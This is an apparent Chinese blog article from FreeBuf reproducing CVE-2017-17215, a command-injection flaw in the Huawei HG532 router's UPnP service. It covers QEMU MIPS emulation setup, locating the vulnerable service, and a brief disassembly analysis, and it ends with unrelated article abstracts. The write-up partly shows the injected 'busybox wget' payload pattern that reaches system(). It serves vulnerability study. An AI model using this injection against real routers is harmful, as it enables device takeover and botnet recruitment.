通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄

2020-12-20 深圳熱線
原標題:通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄

*本文作者:kczwa1,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。

1.基本信息:

2017/11/27,CheckPoint軟體技術部門報告了一個華為HG532產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程中遇到很多坑,寫文記錄一下詳細步驟。

華為已經發了漏洞公告,固件已經升級到HG532eV100R001C02B017_upgrade_main.bin。從論壇裡找到了帶漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。

分析環境是ubuntu16.04.

先用binwalk解壓一下:

根據CheckPoint的報告,漏洞點位於UPnP服務中,file命令看一下,可以看到upnp應該是跑在MIPS32位大端架構系統

2.配置復現環境:

安裝qemu:

sudoapt-getinstallqemu

sudoapt-getinstallqemu-user-static

sudoapt-getinstallqemu-system

安裝網絡配置工具:

apt-getinstallbridge-utilsuml-utilities

修改ubuntu主機網絡配置,將ubuntu主機系統中的網絡接口配置文件/etc/network/interfaces修改為如下內容:

創建QEMU的網絡接口啟動腳本(/etc/qemu-ifup)並保存為如下內容:

賦予文件/etc/qemu-ifup可執行權限:

sudochmoda+x/etc/qemu-ifup

重啟網絡使所有的配置生效:

sudo/etc/init.d/networkingrestart

關閉ens33,啟動橋連網絡br0

sudoifdowneth0

sudoifupbr0

從https://people.debian.org/~aurel32/qemu/mips/下載對應的debianmipsqemu鏡像

其他的帖子裡有各種下載qemu鏡像的地址,試了幾個下載都不好用,各種坑

我下載的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。

啟動qemu運行剛鏡像:

sudoqemu-system-mips-Mmalta-kernelvmlinux-2.6.32-5-4kc-malta-hdadebian_squeeze_mips_standard.qcow2-append"root=/dev/sda1console=tty0"-netnic,macaddr=00:16:3e:00:00:01-nettap

好的,假如一切順利,可以看到一個qemu虛擬機,用root/root登錄進去:

發現網絡不通,ifconfig-a看一下發現網絡接口為eth1:

將nano/etc/network/interfaces文件中的eth0改為eth1:

再用ifupeth1將eth1啟起來,運氣好的話此時網絡已經好了。

直接操作虛擬機顯然比較麻煩,在ubuntu上搞個SSH連進來,sshroot@虛擬機ip

將之前解壓的固件包拷貝到虛擬機裡面:

scp-r./squashfs-rootroot@虛擬機ip:/root/

完成搭建路由器固件運行的環境。

3.復現漏洞:

第一個問題是怎麼讓路由器裡的服務啟起來,我們也不知道是哪個文件會去處理80埠過來的請求,先看下checkpoint報告裡的payload

在固件文件夾下搜一下ctrlt和DeviceUpgrade_1,並沒有文件名含有這2個詞語,再搜下包含這2個詞語的文件:

找到固件所在的位置,想直接執行下upnp這個文件,報錯,缺少相應的so文件造成。

chroot/root/squashfs-root/bin/sh來切換根目錄到路由器文件系統,執行成功:

可是發包過去仍然失敗,應該是並沒有啟動監聽服務

那找下埠37215

埠號只出現在mic文件內,看下文件內容:

看字符串像是一個跟網絡服務相關的文件,試下運行一下:

看起來像是對了,

ubuntu上nc-vlp80監聽一下埠,跑一下exp,80埠收到路由器發來的wget請求包。

4.簡單分析:

分析一下upnp中的關鍵代碼:

根據上面payload圖,newstatusurl這個節點值為$(busyboxwget-gxxxx;xx;xx)

snprintf(a0,0x400,"upg-g-U%s-t'1FirmwareUpgradeImage'-cupnp-r%s-d-",a3)

其中a0是拷貝的源字符串的地址,同時a0又是system調用的第一個參數。所以最後會執行

system(a0)

如果看完整篇文章想上手試一下路由器漏洞的話,不要忘了當初你是為什麼放棄的.

*本文作者:kczwa1,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。

相關焦點

  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    對於今天的網際網路安全我們更需要通過模型監測方式來持續觀察漏洞趨勢和影響範圍,才能持續應對漏洞爆發之後的安全趨勢分析評估。 本文主要通過網絡測繪角度手機各種資產協議的版本號信息,通過比對cve漏洞影響範圍中的版本號方式進行安全風險趨勢分析,無任何實際危害網際網路行為。資產在攜帶版本中也會存在修復補丁後版本不變的情況。
  • D-Link 路由器信息洩露和遠程命令執行漏洞分析及全球數據分析報告
    2017年8月8號,SecuriTeam在博客公布了D-Link 850L多個漏洞的漏洞細節和PoC[2],其中包括通過WAN和LAN的遠程代碼執行、通過WAN和LAN口的未授權信息洩露、通過LAN的root遠程命令執行。2017年8月9日,Seebug收錄了該廠商旗下D-Link DIR-850L雲路由器的多個漏洞[3]。攻
  • Edge CVE-2017-0234 漏洞復現與利用
    顯然此處JIT生成的彙編代碼缺少數組下標的越界檢測,通過patch代碼的分析來探尋其中的原因。而相關原因將在下文進一步分析。此外,這個漏洞還有一個特點,JIT中數組越界產生的異常會被chakra自己處理,並不會引發crash,理論上這對漏洞利用的穩定性會有所幫助。
  • Python遠程代碼執行漏洞(CVE-2021-3177)
    由於未檢查sprintf()函數的長度,_ctypes/callproc.c中的PyCArg_repr()函數中存在緩衝區溢出漏洞,這可能會導致某些接受浮點數作為不可信輸入的Python應用程式中的遠程代碼執行。當天,Redhat官方也發布了該漏洞的安全通告,其對該漏洞的CVSSv3評分為5.9,並表示此漏洞帶來的最大威脅是對系統的可用性。
  • Office系列漏洞經典案例分析與利用
    四維漏洞播報1、漏洞簡介CVE-2017-11882屬於緩衝區溢出類型漏洞,產生漏洞原因於EQNEDT32.EXE(微軟office自帶公式編輯器)進程在讀入包含MathType的ole數據時,在拷貝公式字體名稱(Font
  • 黑客破解漏洞取得D-Link路由器操控權
    研究員發現,部分D-Link路由器存在多個漏洞,黑客利用這些漏洞可獲得其全部控制權,且目前尚無安全補丁發布。在Linksys路由器中也出現了嚴重安全漏洞。 波蘭西裡西亞工業大學( The SilesianUniversity of Technology)某研究小組發現了在D-Link路由器中存在的安全漏洞。
  • Golang TLS雙向身份認證DoS漏洞分析(CVE-2018-16875)
    為了保護正常服務,大家應立即升級到G0 v1.10.6、v1.11.3或者更新版本。二、研究背景42Crunch的API Security平臺後端採用的是微服務架構,而微服務使用Go語言編寫。微服務之間通過gRPC相互通信,並且部署了REST API網關用於外部調用。
  • 路由器漏洞挖掘之 DIR-805L 越權文件讀取漏洞分析
    接下來的文章都會實戰復現一些關於路由器的 web /二進位漏洞,可能會寫的比較細,希望能給大家帶來啟發。
  • 家裡進「間諜」路由器竟變竊聽器
    今天,竊聽風雲上演升級版,作案工具換成了家中普及率更高的智能設備——路由器,作案的目標,則是連接到該設備的所有網絡流量。  監聽流量有什麼用?用處可大了,你的帳號密碼、電子郵件、私密文件等等所有流量內容,都可能被黑客截獲並利用。
  • 知名路由器公司Netgear 79款路由器驚現大量安全漏洞,設備可被劫持!
    然而根據7月份安全漏洞調查顯示,NETGEAR多達79款路由器存在大量安全漏洞。以下是漏洞詳情:httpd服務漏洞該漏洞存在於Netgear路由器的httpd服務中,問題出在把用戶輸入的資料複製到僅能容納固定長度的緩衝區前,未能正確驗證資料長度,造成緩衝區溢出,而讓黑客得以執行任意程序,從而接管設備。
  • CVE-2017-0263 win32k.sys內核漏洞分析
    是一個菜單管理相關的漏洞。CVE-2017-0263是一個win32k的菜單管理組件中的一個UAF漏洞 函數win32k!xxxMNEndMenuState中釋放全局菜單狀態對象的成員域pGlobalPopupMenu。指向的根彈出菜單對象時,沒有將該成員域置零,導致該成員仍然指向已被釋放的內存區域,即有可能再次使用。
  • CVE-2020-0423 Android內核提權漏洞分析
    所以這個漏洞也可以說是開發時沒有考慮到鎖的範圍導致的。如果修改slab中的freelist的位置的值,就會分配對象在我們想要的位置:當修改0x1100位置的前8個字節為0xDEADBEEF時,等分配到kmalloc(0x80)時,freelist=0xDEADBEEF,再次分配就會分配到0xDEADBEEF,這個地址。通過修改free對象的freelist位置的地址,就可以達到任意地址寫入任意值的效果。
  • Defcon黑客大會披露華為路由器存在嚴重安全漏洞
    他說,這些安全漏洞包括一個會話劫持安全漏洞、一個堆溢出安全漏洞和一個堆棧溢出安全漏洞。這些安全漏洞是在華為AR18和AR29系列路由器中發現的。利用這些安全漏洞能夠在網際網路上控制這些設備。
  • CVE-2017-11882及利用樣本分析
    CVE-2017-11882及利用樣本分析1.本文由複眼小組ERFZE師傅原創2.本文略微偏向基礎,首先介紹了該漏洞的成因
  • cve-2015-6620學習總結
    cve-2015-6620,所以就從這個漏洞開始學習。binder智能指針cve-2015-6620包含兩個漏洞,編號分別為 24123723 和 24445127。主要分析的是 24445127 MediaCodecInfo 越界訪問,因為這個漏洞可以利用的點更多些。漏洞存在於MediaCodcList服務。
  • D-Link 路由器漏洞復現(CVE-2019-20215)
    前言本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,真機CVE-2019-20215漏洞描述根據漏洞描述可以獲得到的信息:漏洞點為/htdocs/cgibin中的ssdpcgi()函數固件獲取
  • CVE-2020-2555:WebLogic RCE漏洞分析
    在本文中,我們將分析CVE-2020-2555(ZDI-20-128)漏洞,該漏洞由來自VNPT ISC的Jang提交。這個漏洞級別較高(CVSS評分9.8),存在於Oracle Coherence庫中,從而影響使用該庫的Oracle WebLogic伺服器等常見產品。官方在1月份修復了包括該漏洞在內的300多個漏洞。
  • 思科商用路由器存在漏洞,無需認證即可拷貝敏感信息
    CVE-2019-1653的漏洞,該漏洞將允許未經身份驗證的遠程攻擊者檢索其保存的全部敏感信息。Rapid7首席數據科學家Bob Rudis在其博客論文中指出:「他通過seclists.org上Full Disclosure郵件列表中的負責人項目觀察到了這一漏洞。而思科 RV320和RV325路由器更多被用於滿足中小型企業和遠程辦公室的需求。
  • CVE-2017-11882復現及防禦
    ,邀請加入知識星球,歡迎更多的人加入我們,一起交流、一起學習。-11882/生成漏洞 doc 文件,首先簡單的測試一下是否能夠彈出計算器,命令如下:python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
  • 深入研究VBScript—CVE-2018-8174利用分析
    漏洞CVE-2018-8174並寫了一篇描述文章。在我們的Github存儲庫中可以找到用於在IDA Pro和WinDBG調試器的內存中反彙編VBScript p代碼的最終腳本。通過理解解釋的代碼,我們可以精確地監視腳本的執行:可以獲得任何給定時刻執行代碼的完整信息,並且可以觀察腳本創建和引用的所有對象。所有這些都有利於分析。